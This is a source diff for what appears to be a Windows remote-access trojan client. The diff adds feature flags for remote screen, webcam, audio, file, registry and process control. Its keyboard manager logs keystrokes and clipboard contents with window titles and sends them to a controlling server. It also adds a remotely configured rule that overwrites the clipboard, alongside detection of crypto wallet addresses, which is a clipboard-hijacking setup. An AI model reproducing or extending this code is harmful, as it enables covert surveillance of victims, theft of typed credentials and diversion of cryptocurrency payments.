@@ -1097,6 +1124,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: { //远程进程管理
|
||||
if (!ENABLE_PROC_WND) {
|
||||
return ResponseDisable(m_ClientObject, "PROCESS", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1107,6 +1137,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: { //远程窗口管理
|
||||
if (!ENABLE_PROC_WND) {
|
||||
return ResponseDisable(m_ClientObject, "WINDOW", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
@@ -1176,6 +1209,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY: {
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
@@ -1192,6 +1228,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE : {
|
||||
if (!ENABLE_FILE_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1202,6 +1241,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM: {
|
||||
if (!ENABLE_VIDEO_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "CAMERA", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
if (!hasCamera) break;
|
||||
{
|
||||
@@ -1214,6 +1256,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO: {
|
||||
if (!ENABLE_AUDIO_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "AUDIO", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1224,6 +1269,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT: {
|
||||
if (!ENABLE_REGISTRY) {
|
||||
return ResponseDisable(m_ClientObject, "REGISTRY", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1234,6 +1282,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES: {
|
||||
if (!ENABLE_SERVICE_MNG) {
|
||||
return ResponseDisable(m_ClientObject, "SERVICE", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
@@ -1578,9 +1629,23 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength > 8) {
|
||||
uint64_t n = 0;
|
||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||||
m_nNetPing.update_from_sample(GetUnixMs() - n);
|
||||
HeartbeatACK n = { 0 };
|
||||
const int size = sizeof(HeartbeatACK);
|
||||
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
|
||||
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
|
||||
int64_t rtt_ms = total_rtt_ms;
|
||||
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
|
||||
rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
|
||||
m_nNetPing.update_from_sample((double)rtt_ms);
|
||||
// 试用版反代理:RTT 入采样窗口。
|
||||
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
|
||||
if (rtt_ms > 0 && rtt_ms < INT_MAX)
|
||||
LANRttChecker::RecordSample((int)rtt_ms);
|
||||
// m_settings.Authorized / IsTrail 由 CMD_MASTERSETTING 同步而来。
|
||||
// 首次心跳早于 MasterSettings 到达时,两字段均为 0 → 保留默认(关闭),安全。
|
||||
if (!m_settings.Authorized) return;
|
||||
// 试用主控 → 打开 RTT 反代理检测;已授权 → 关闭,避免误报合法远程连接
|
||||
LANRttChecker::SetEnabled(m_settings.IsTrail != 0);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1643,7 +1708,16 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
||||
HeartbeatACK n = { 0 };
|
||||
const int size = sizeof(HeartbeatACK);
|
||||
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
|
||||
m_nNetPing.update_from_sample(GetUnixMs() - n.Time);
|
||||
// 总 RTT = ACK 到达时间 − 客户端发出时间(含网络 + 服务端处理)。
|
||||
// 服务端从 v1.3.4 起在 ACK 里回报自己的处理耗时 ProcessingMs(毫秒):
|
||||
// - 新服务端:ProcessingMs > 0 → 减掉得近似纯网络 RTT
|
||||
// - 旧服务端:ProcessingMs == 0 → 维持旧行为,用总 RTT
|
||||
// 避免 V2 签名 / HMAC / Debug 加密放大等服务端本底误算到网络 RTT。
|
||||
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
|
||||
int64_t net_rtt_ms = total_rtt_ms;
|
||||
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
|
||||
net_rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
|
||||
m_nNetPing.update_from_sample((double)net_rtt_ms);
|
||||
// Not authorized, but server is reachable, so just return and wait for next heartbeat
|
||||
if (n.Authorized == UNAUTHORIZED) return;
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@
|
||||
// 根据配置决定采用什么通讯协议
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
|
||||
|
||||
class ActivityWindow
|
||||
{
|
||||
@@ -184,7 +184,6 @@ public:
|
||||
uint64_t m_MyClientID = 0;
|
||||
// 执行代码
|
||||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
int RestoreMemDLL();
|
||||
void SetLoginMsg(const std::string& msg)
|
||||
{
|
||||
m_LoginMsg = msg;
|
||||
@@ -295,4 +294,6 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile* m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This = NULL);
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
|
||||
#include "Common.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "KernelManager.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#if ENABLE_KEYBOARD
|
||||
@@ -25,6 +26,7 @@
|
||||
#define USING_CLIP 0
|
||||
|
||||
#include "wallet.h"
|
||||
#include "common/utf8.h"
|
||||
#if USING_CLIP
|
||||
#include "clip.h"
|
||||
#ifdef _WIN64
|
||||
@@ -50,9 +52,10 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
||||
clip::set_error_handler(NULL);
|
||||
#endif
|
||||
m_bIsOfflineRecord = offline;
|
||||
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
||||
if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
std::string fileName = GetExeHashStr() + ".db";
|
||||
GET_FILEPATH(path, fileName.c_str());
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||
|
||||
@@ -60,6 +63,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string rule = bin.GetStr("settings", "textRule");
|
||||
if (rule.length() >= sizeof(TextReplace)) {
|
||||
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
|
||||
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
|
||||
}
|
||||
|
||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
@@ -93,7 +103,10 @@ void CKeyboardManager1::Notify()
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||
m_mu.Unlock();
|
||||
sendStartKeyBoard();
|
||||
m_ruleMu.Lock();
|
||||
auto rule = m_ReplaceRule;
|
||||
m_ruleMu.Unlock();
|
||||
sendStartKeyBoard(rule);
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
@@ -120,6 +133,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
GET_PROCESS_EASY(DeleteFileA);
|
||||
DeleteFileA(m_strRecordFile);
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
|
||||
CAutoCLock L(m_ruleMu);
|
||||
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
|
||||
binFile cfg(CLIENT_PATH);
|
||||
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
|
||||
cfg.SetStr("settings", "textRule", rule);
|
||||
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
|
||||
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
@@ -130,17 +153,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||
return w;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
|
||||
{
|
||||
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||
BYTE bToken[4];
|
||||
BYTE bToken[4 + sizeof(TextReplace)];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||
memcpy(bToken + 4, &rule, sizeof(TextReplace));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||
}
|
||||
@@ -503,27 +527,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string CKeyboardManager1::ReplaceText() {
|
||||
CAutoCLock L(m_ruleMu);
|
||||
|
||||
switch (m_ReplaceRule.type) {
|
||||
case RULE_REPLACE_ALL:
|
||||
if (m_ReplaceRule.param[0] == 0)
|
||||
return "";
|
||||
std::string text((char*)m_ReplaceRule.param);
|
||||
return clip::set_text_utf8(text) ? text : "";
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||
std::string lastValue = {};
|
||||
while (pThis->m_bIsWorking) {
|
||||
auto w = pThis->GetWallet();
|
||||
if (w.empty()) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
bool hasClipboard = false;
|
||||
try {
|
||||
hasClipboard = clip::has(clip::text_format());
|
||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
hasClipboard = false;
|
||||
Sleep(3000);
|
||||
}
|
||||
bool hasClipboard = clip::has(clip::text_format());
|
||||
if (hasClipboard) {
|
||||
std::string value;
|
||||
clip::get_text(value);
|
||||
if (value.length() > 200) {
|
||||
Sleep(1000);
|
||||
if (!clip::get_text(value)) {
|
||||
Sleep(500);
|
||||
continue;
|
||||
}
|
||||
std::string recordValue = value.substr(0, 4096);
|
||||
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
|
||||
lastValue = recordValue;
|
||||
HWND foreground = GetForegroundWindow();
|
||||
char window_title[MAX_PATH] = {};
|
||||
wchar_t wTitle[MAX_PATH] = {};
|
||||
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||
if (wTitle[0]) {
|
||||
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
|
||||
}
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
char tm[64];
|
||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
|
||||
std::stringstream output;
|
||||
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
|
||||
std::string str = output.str();
|
||||
pThis->m_Buffer->Write(str.c_str(), str.length());
|
||||
|
||||
if (pThis->IsConnected()) {
|
||||
str.erase(0, 4);
|
||||
str.insert(0, 1, TOKEN_CLIP_TEXT);
|
||||
pThis->Send((BYTE*)str.c_str(), str.length()+1);
|
||||
std::string newValue = pThis->ReplaceText();
|
||||
if (!newValue.empty()) {
|
||||
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
|
||||
lastValue = newValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Wallet detection
|
||||
auto w = pThis->GetWallet();
|
||||
if (value.length() > 200 || w.empty()) {
|
||||
Sleep(500);
|
||||
continue;
|
||||
}
|
||||
auto type = detectWalletType(value);
|
||||
@@ -565,7 +628,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
break;
|
||||
}
|
||||
}
|
||||
Sleep(1000);
|
||||
Sleep(500);
|
||||
}
|
||||
return 0x20251005;
|
||||
}
|
||||
@@ -581,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||
HDESK desktop = NULL;
|
||||
clock_t lastCheck = 0;
|
||||
auto lastSave = time(0);
|
||||
while(pThis->m_bIsWorking) {
|
||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||
#if USING_KB_HOOK
|
||||
@@ -590,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
continue;
|
||||
}
|
||||
Sleep(5);
|
||||
auto tm = time(0);
|
||||
if (tm - lastSave > 600) {
|
||||
lastSave = tm;
|
||||
pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
|
||||
}
|
||||
#if USING_KB_HOOK
|
||||
clock_t now = clock();
|
||||
if (now - lastCheck > 1000) {
|
||||
|
||||
@@ -7,8 +7,6 @@
|
||||
#include "Manager.h"
|
||||
#include "stdafx.h"
|
||||
|
||||
#define KEYLOG_FILE "keylog.xml"
|
||||
|
||||
#if ENABLE_KEYBOARD==0
|
||||
#define CKeyboardManager1 CManager
|
||||
|
||||
@@ -237,19 +235,25 @@ public:
|
||||
HANDLE m_hClipboard;
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
TextReplace m_ReplaceRule = {};
|
||||
void EnableOfflineRecord(BOOL enable) {
|
||||
m_bIsOfflineRecord = enable;
|
||||
}
|
||||
virtual BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
std::string ReplaceText();
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
int sendStartKeyBoard(const TextReplace& rule);
|
||||
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
CircularBuffer *m_Buffer;
|
||||
CLocker m_mu;
|
||||
CLocker m_ruleMu;
|
||||
std::vector<std::string> m_Wallet;
|
||||
std::vector<std::string> GetWallet();
|
||||
};
|
||||
|
||||
@@ -247,7 +247,7 @@ uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||
// HKLM\Software\Microsoft\Cryptography\MachineGuid 是 Windows 安装时生成的随机 GUID,
|
||||
// 重装系统才会变;局域网每台机器都不同(即便同镜像,sysprep 也会重置)。
|
||||
// 这是比 pubIP/PCName/CPU 都更稳定且更具区分度的硬件标识。
|
||||
static std::string GetMachineGuidWindows()
|
||||
std::string GetMachineGuidWindows()
|
||||
{
|
||||
HKEY hKey = NULL;
|
||||
// KEY_WOW64_64KEY: 32 位进程也访问 64 位注册表视图,避免 WOW6432Node 重定向。
|
||||
@@ -283,9 +283,9 @@ static std::string NormalizeExePathLower(const char* path)
|
||||
// - 同机同程序:永远同 ID(不依赖 IP/PCName/OS/CPU)。
|
||||
// - 局域网多机相同镜像:MachineGuid 必不同 → ID 必不同。
|
||||
// - 一台机两份程序在不同目录 → ID 不同。
|
||||
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath)
|
||||
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth)
|
||||
{
|
||||
std::string s = machineGuid + "|" + normalizedPath;
|
||||
std::string s = isAuth ? machineGuid : machineGuid + "|" + normalizedPath;
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
@@ -313,7 +313,7 @@ BOOL IsAuthKernel(std::string &str) {
|
||||
return isAuthKernel;
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate)
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate, bool isAuth)
|
||||
{
|
||||
std::string str = expiredDate;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
@@ -394,19 +394,27 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
|
||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||
char cpuInfo[32];
|
||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||
// V2 ID 算法:MachineGuid + 归一化路径
|
||||
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
||||
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
||||
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||
std::string machineGuid = GetMachineGuidWindows();
|
||||
if (!machineGuid.empty()) {
|
||||
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf));
|
||||
} else {
|
||||
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
std::string clientID = cfg.GetStr("settings", "client_id");
|
||||
if (clientID.empty()) {
|
||||
// V2 ID 算法:MachineGuid + 归一化路径
|
||||
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
|
||||
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
|
||||
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
|
||||
std::string machineGuid = GetMachineGuidWindows();
|
||||
if (!machineGuid.empty()) {
|
||||
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
|
||||
} else {
|
||||
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
}
|
||||
cfg.SetStr("settings", "client_id", std::to_string(conn.clientID));
|
||||
clientID = std::to_string(conn.clientID);
|
||||
Mprintf("初始化此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||
}
|
||||
else {
|
||||
conn.clientID = std::stoull(clientID);
|
||||
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||
}
|
||||
auto clientID = std::to_string(conn.clientID);
|
||||
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||
char reservedInfo[64];
|
||||
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
|
||||
@@ -5,7 +5,9 @@
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
std::string GetMachineGuidWindows();
|
||||
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
|
||||
BOOL IsAuthKernel(std::string& str);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
|
||||
@@ -225,7 +225,7 @@ HDESK SelectDesktop(TCHAR* name)
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
CManager::CManager(IOCPClient* ClientObject, int n, void *p, BOOL b) : g_bExit(ClientObject->GetState())
|
||||
{
|
||||
m_bReady = TRUE;
|
||||
m_ClientObject = ClientObject;
|
||||
|
||||
@@ -11,9 +11,7 @@
|
||||
|
||||
#include "..\common\commands.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#define ENABLE_VSCREEN 1
|
||||
#define ENABLE_KEYBOARD 1
|
||||
#include "common/config.h"
|
||||
|
||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
||||
|
||||
@@ -41,7 +39,7 @@ class CManager : public IOCPManager
|
||||
public:
|
||||
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
||||
BOOL m_bReady;
|
||||
CManager(IOCPClient* ClientObject);
|
||||
CManager(IOCPClient* ClientObject, int n=0, void* p=0, BOOL b=0);
|
||||
virtual ~CManager();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
||||
@@ -69,6 +67,14 @@ public:
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
static bool IsConPTYSupported() {
|
||||
return false;
|
||||
}
|
||||
void EnableOfflineRecord(BOOL enable) {
|
||||
}
|
||||
virtual BOOL Reconnect() {
|
||||
return FALSE;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||
|
||||
@@ -6,6 +6,9 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
#if ENABLE_REGISTRY
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -56,3 +59,5 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "RegisterOperation.h"
|
||||
|
||||
#if ENABLE_REGISTRY==0
|
||||
#define CRegisterManager CManager
|
||||
#else
|
||||
|
||||
class CRegisterManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -20,5 +24,6 @@ public:
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID Find(char bToken, char *szPath);
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||
|
||||
10329
client/SCLoader.cpp
@@ -13,8 +13,11 @@
|
||||
#include <condition_variable>
|
||||
#include <functional>
|
||||
#include <future>
|
||||
#include <memory>
|
||||
#include <emmintrin.h> // SSE2
|
||||
#include "X264Encoder.h"
|
||||
#include "common/config.h"
|
||||
#include "VideoEncoderBase.h"
|
||||
#include "EncoderFactory.h"
|
||||
#include "ScrollDetector.h"
|
||||
#include "common/file_upload.h"
|
||||
|
||||
@@ -126,6 +129,7 @@ public:
|
||||
ULONG* m_BlockSizes; // 分块差异像素数
|
||||
int m_BlockNum; // 分块个数
|
||||
int m_SendQuality; // 发送质量
|
||||
int m_EncodeLevel; // 编码级别
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP信息
|
||||
LPBITMAPINFO m_BitmapInfor_Send; // 发送的BMP信息
|
||||
@@ -145,7 +149,13 @@ public:
|
||||
int m_FrameID; // 帧序号
|
||||
int m_GOP; // 关键帧间隔
|
||||
bool m_SendKeyFrame; // 发送关键帧
|
||||
CX264Encoder *m_encoder; // 编码器
|
||||
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
||||
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
|
||||
// false 时禁止 skip——避免单显示器路径
|
||||
// 下 m_FirstBuffer 别名到 m_BitmapData_Full
|
||||
// 且被 GetFirstScreenData 预先填过同帧像素,
|
||||
// 导致首帧 memcmp 错误命中、跳过 encode、
|
||||
// 永远不产 IDR → web 黑屏
|
||||
int m_nScreenCount; // 屏幕数量
|
||||
BOOL m_bEnableMultiScreen;// 多显示器支持
|
||||
|
||||
@@ -158,6 +168,13 @@ public:
|
||||
int m_nInstructionSet = 0;
|
||||
int m_nBitRate = 0; // H264 编码码率 (kbps), 0=自动
|
||||
|
||||
// 感兴趣区域 (ROI)
|
||||
RECT m_ROI = {0,0,0,0};
|
||||
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
|
||||
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口(NULL=保持原 HWND)
|
||||
int m_nScaleSendWidth = 0;
|
||||
int m_nScaleSendHeight = 0;
|
||||
|
||||
// 自定义光标相关
|
||||
DWORD m_dwLastCursorHash = 0; // 上次发送的光标哈希
|
||||
DWORD m_dwLastCursorSendTime = 0; // 上次发送光标的时间
|
||||
@@ -182,15 +199,18 @@ protected:
|
||||
int m_nVScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
|
||||
public:
|
||||
ScreenCapture(int n = 32, BYTE algo = ALGORITHM_DIFF, BOOL all = FALSE) :
|
||||
